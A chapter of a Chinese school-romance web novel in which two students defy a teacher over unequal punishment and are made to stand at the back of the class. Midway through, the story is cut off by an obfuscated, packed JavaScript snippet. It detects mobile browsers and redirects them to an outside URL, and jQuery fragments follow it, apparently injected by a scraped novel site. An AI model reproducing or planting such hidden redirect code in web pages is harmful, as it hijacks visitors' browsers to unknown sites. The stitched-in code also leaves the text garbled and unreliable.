翌日早晨,柏临穿着全球限量版球鞋,意气风发地走进校门。
他一般是不在食堂吃早饭的,但今天不一样,这个点食堂可多人了,刚好让大家欣赏一下他的极品酷炫球鞋。
柏临提前在脑子里爽了半天,但大脑里的幻想还没实现,就被陈怀渡一通消息喊去了一班旁边的空教室。
行吧。
那就去感谢一下金主爸爸。
柏临背着个空书包兴冲冲地往教室蹿,一路上跟乐颠颠地跟十几个人打了招呼。
只是门一打开,柏临的脚步霎时顿在了原地,整个人都傻眼了。
柏临:“哥,这都是你买的……?”
只见桌子上琳琅满目地摆满了各种各样的早餐,包子饺子吐司塔克三明治……柏临差点以为陈怀渡把家里酒店的自助餐厅搬过来了。
柏临咽了咽口水,看了看香甜可口的食物,又看了看好哥们脸上毫无异样的表情,震惊:“快要厌食的人回光返照了?哥,你怎么治好的?”
陈怀渡冷静地回文:“不想吃?”
有奶就是娘,柏临铁骨铮铮,改口的速度堪称坐火箭:“想想想,刚好我厌食症好了,这必须得多吃点。”
早读开始前,这间空教室就是大家用来吃饭的地方,食物香气浓郁,窗户大开着,许多路过的人闻到味道都会往里面瞥一眼。
因为这顿早餐所在太过丰盛,在里面吃早餐的同学纷纷投来羡慕的目光。
有人借机和陈怀渡搭话:“兄弟,和南琢做同桌的感觉怎么样?她为什么给你送东西吃啊......哎,对了,听说她还给你传纸条了,你俩真的玩到一起去了?”
陈怀渡还没有说话,柏临就嬉皮笑脸地插话:“你们现在这么熟了啊?那你们聊天有没有聊到我啊,有没有说对我的印象怎么样?”
陈怀渡没有说话,锋利的眼皮垂下来,表情冷漠,没有要闲聊的意思。
八卦的同学被这个冷冰冰的眼神冻住,识趣地离开了。
柏临见是这个反应,以为是他们相处得一般,安慰道:“没关系啦,一起吃了两次面,南琢和我关系还可以,俗话说爱屋及乌,她肯定也会和你玩的,时间问题时间问题。”
“还可以?”
“是啊。”柏临语气自然地接话:“吃个饭就熟了嘛,怎么,你不信啊?”
“哦。”没说信也没说不信。
陈怀渡面无表情地捏着牛肉卷,手背的青筋凸起了几根。
桌子上的食物实在太多,柏临给了周围同学分一些,还是剩下很多东西没吃。
柏临揉着肚皮,后知后觉地发现陈怀渡就只吃了一根牛肉卷:“陈怀渡,你只吃这点,这剩下的满汉全席了咋办?”
陈怀渡说:“还有人没吃。”
柏临:“啊?”
“不是有关系还可以的朋友?”陈怀渡反问。
“嗯......?”柏临反应过来他说的谁,一拍脑袋,“那我去看看南琢来没来。”
两分钟后,前排的空座位上多了两个人。
方乐翎看见这么多吃的,眼睛放光,“这些都可以吃吗?”
陈怀渡往他旁边扫了一眼,也不知道是在看谁,“嗯。”
柏临吆喝,“都别客气啊,陈怀渡眼大肚子小吃不完,还好有你们帮忙解决。”
没有价格标,但是一看包装就知道价格不便宜,和楼下卖的十块钱六个的面包不同。
南琢不挑食,拿起一个三明治开始吃。
浓郁的香气充盈口腔,方乐翎幸福地眯了眯眼,一低头就看见柏临的球鞋,眉梢一挑。
方乐翎:“这不是陈怀渡的鞋吗?你们穿同款啊。”
柏临背脊挺直了一些,满脸骄傲:“算是吧,陈怀渡不想穿了我说送我,都穿一条裤子长大的我也不嫌弃他,结果好家伙,昨晚收到一个同城快递,他直接送了一双新的给我!......真的感动了啊兄弟。”
方乐翎羡慕地点头,“真爽。”
柏临拿着袋子把吃的往里面装,“都吃完啊,等会儿凉了不好吃。”
方乐翎摸了摸肚皮:“吃太饱,等会儿又要睡着了。”
“睡呗。”
“不行啊。”方乐翎说,“这节早读是梁若的,她最近凶得很,昨天还罚南琢写了篇检讨,谁敢触她霉头啊。”
“写检讨?”柏临皱眉,然后跟想起什么似的,撞了撞陈怀渡的胳膊,“你也被罚检讨了?”
陈怀渡:“没。”
“有人说看见你放学了还和旺旺坐在一起。”柏临说,“没写检讨......那你俩在干啥。”
陈怀渡想起昨天那场长达近一个小时的英语教学,脸木了木,“什么也没干。”
方乐翎咽下第五个塔可,看了眼时间,“别吃了南琢,还有一分钟早读了。”
柏临同情地看了他们两眼,“快去吧,估计你们这老师更年期,一惹就炸.......什么年代了还罚写检讨,哥你也快去吧。”
南琢从口袋里拿出酒精湿巾把桌子擦干净,又慢条斯理地擦了擦手指,踩在铃声的前一秒在座位上落座。
梁若站在讲台上,看见这不良学生吊儿郎当的做派就隐隐不爽,想起南琢交上来的明显不足八百字的检讨,梁若拍了拍讲桌刚想发作。
“——报告!”
班长气喘吁吁地站在门口,他额头渗出几滴汗,胸膛上下起伏着,急匆匆地打断了梁若要说的话。
看见是班长,梁若面色稍霁,象征性地问:“章问,怎么迟到了?”
“对不起老师,堵车了。”
梁若点头,不痛不痒地说了他几句,“回位置上坐着吧,下次注意。”
班长长舒了一口气,抬脚要往座位走。
不用写检讨.......?
方乐翎眉头一皱,有些不满地看向讲台上站着的人,心说这有点双标了吧好不公平到底有没有人能管管啊。
方乐翎正犹豫着下课怎么说——
“哗啦——”
后排传来道尖锐的椅脚摩擦地面的声音。
咋,刚上课就要上厕所?
前排的同学们默契地齐齐转头往后看去。
那人太高,大家的脖子又齐齐往上抬了抬。
男生个子高大颀长,阳光透过窗户照在他的脸颊,冷淡的眼神中透出几分散漫的意味。
是一张完全挑不出差错的脸。
这好像是陈怀渡第一次发言。
新同学要说什么?
同学们耳朵都竖直了一些。莫名其妙地,梁若被他看得身体也不自觉站直了点儿。
万众瞩目之下,陈怀渡开口了。
他说:“老师,你是不是忘了。”
梁若一脸莫名:“忘了什么?”
“迟到的同学放学要交一篇八百字的检讨,就像南琢同学一样。”陈怀渡漫不经心地提醒,“您忘记和班长说了。”
南琢正浸在身旁人很有辨识度的音色中,冷不防听见自己的名字瞳孔都圆了一些。
南琢倏地抬头,对上了梁若不太好看的脸色。
公然被学生质疑,还是这种整天只知道睡觉的纨绔子弟,梁若确实有些挂不住脸。
底下传来些窃窃私语的声音,一副看好戏的样子,梁若脸又绿了点,但没等她维持纪律。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534990|186507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“——对啊老师。”教室另一角又站起来个人影。
方乐翎挺直腰板,“梁老师,你可得一视同仁啊,今天班长迟到时间还比南琢久呢!”
说完,方乐翎又扭头看向呆若木鸡的章问,眨了眨眼说,“班长,我这可不是对你有意见啊。”
章问:“......”
梁若:“............”
梁若看着这两个一前一后一左一右站在教室对角线的人,表情沉了沉。
“上课时间,不关心等会儿要学什么内容,弥补功课,反而一直质疑老师的决定。”梁若冷笑一声,“要是把这些精力都放在学习上,你们想写检讨都没有机会。”
方乐翎下意识嘁了一声。
被梁若一盯,又住了嘴。
梁若满意地收回视线,然后拿教案重重地拍了拍桌子,决定立一立规矩,“陈怀渡。”
“嗯。”
梁若指了指后面,“你拿着书包,到后面站着,什么时候知道错了什么时候再坐回位置。”
南琢腾地起身,“老师,他有什么错?”
梁若:“?”
梁若嘴角抽了抽:“你们在这儿玩葫芦娃救爷爷?”
一阵哄笑声从底下传来。
“老师,为什么让陈怀渡罚站?”南琢认真地又重复了一遍自己的问题。
梁若火气上来了一点,“怎么,老师因材施教也要经过你们的同意是吗?为了一点小事影响我给剩下四十个同学讲课,你们还没觉得自己有错?还有你,南琢。我跟陈怀渡说话有你什么事?”
见南琢还想讲话,梁若直接打断:“再说一句,你也给我站到后面去。”
在搞什么?南琢平常挨训从来都是安静地听着,不会顶嘴。
今天搞哪一出……她喜欢陈怀渡?这两人搞早恋?
梁若眯了眯眼,审视的目光划过后排站着的两个身影。
南琢没再说话。
但梁若一个背身写板书的功夫,教室后面就多了两道站着的身影。
梁若气笑了,目光刮过陈怀渡时停留了两秒。
原本以为只是个睡觉混日子的少爷,没想到还是个刺头。
南琢长腿撑着地,没什么精神地垂着眼皮。
怕自己直接趴地上睡着,南琢侧头看了眼旁边的人。
“陈怀渡。”南琢轻轻喊他。
“怎么了。”
南琢问:“我们是朋友了吗。”
陈怀渡:“为什么问这个。”
“你刚才帮我了啊。”南琢说。
陈怀渡觉得好笑:“我帮你什么?”
“帮我......”南琢想了想:“帮我伸张正义。”
陈怀渡声音懒洋洋的,像是在逗猫:“不是。”
“不是?”南琢眼睫飞快眨了两下,她没太纠结这个事情,又回到一开始的问题,重复道:“那我们是朋友了吗?”
陈怀渡发现南琢有些时候会露出点类似孩童的固执,没得到回答就一直问,一定要得到一个准确的答案和解释才肯罢休。
稚纯又执着。
“不算。”陈怀渡说。
南琢:“所以也不能加微信?”
陈怀渡确实不加陌生人,但普通同学躺在他好友列表里他也并没有那么介意。
说不清为什么想要拒绝,只是看到南琢这幅主动积极的样子忽地又想起她加其他人微信时的样子。
……加这么多人干什么。
南琢正仰着头等待回复,因为期待,眼睛都微微睁大了一些。
片刻,嗓音低低地飘了下来——
“不行。”